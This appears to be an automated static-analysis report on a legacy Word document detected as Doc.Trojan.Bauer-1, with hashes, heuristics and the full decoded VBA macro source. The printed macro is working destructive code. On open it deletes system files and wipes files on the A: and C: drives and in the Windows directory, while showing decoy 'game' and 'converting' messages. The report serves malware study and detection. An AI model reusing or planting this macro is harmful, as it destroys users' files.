Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f35ba5d4e0cf41d3…

MALICIOUS

Office (OLE)

34.0 KB Created: 1998-12-03 12:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2dfbba0a2b07b11eca46cff6933f42d7 SHA-1: d5ec832b74748c1a50ebf908333a35813043a12a SHA-256: f35ba5d4e0cf41d3772acc4bd8fa47ae3d1884713eb8e9804ab94cefdd11832b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for malicious Office documents. The macro attempts to delete various system files including Command.com, MSDOS.sys, io.sys, Autoexec.bat, and files within the Windows directory, indicating destructive intent. The macro also displays messages to the user, attempting to disguise its actions as a game or document conversion.

Heuristics 4

  • ClamAV: Doc.Trojan.Bauer-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bauer-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1197 bytes
SHA-256: 8659b924ac34c387612e38101969e57a21fb747e784081a6d79ab86b3e7cb6b4
Detection
ClamAV: Doc.Trojan.Bauer-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
MsgBox "Play a game"
Call HD
End Sub

Sub HD()
On Error GoTo fun
Kill "C:\Command.com"
Kill "C:\MSDOS.sys"
Kill "C:\io.sys"
Kill "C:\Autoexec.bat"
fun:
Call stairway
End Sub

Sub stairway()
On Error GoTo greetings
Kill "A:\*.*"
greetings:
On Error GoTo yeah
Kill "C:\*.*"
yeah:
Call Packman
End Sub

Sub Packman()
MsgBox "Microsoft Word is konverting the Dokument."
On Error GoTo happy
Kill "C:\Windows\*.exe"
Kill "C:\Windows\*.com"
happy:
Call ende
End Sub

Sub ende()

MsgBox "That was the WM.Bauer.Trojan. Thanks for everything."

End Sub

Sub Happyness()
Attribute Happyness.VB_Description = "brings you happyness"
Attribute Happyness.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Happyness"

    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "This is my part of happyness....try to understand it......"
Call AutoOpen
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.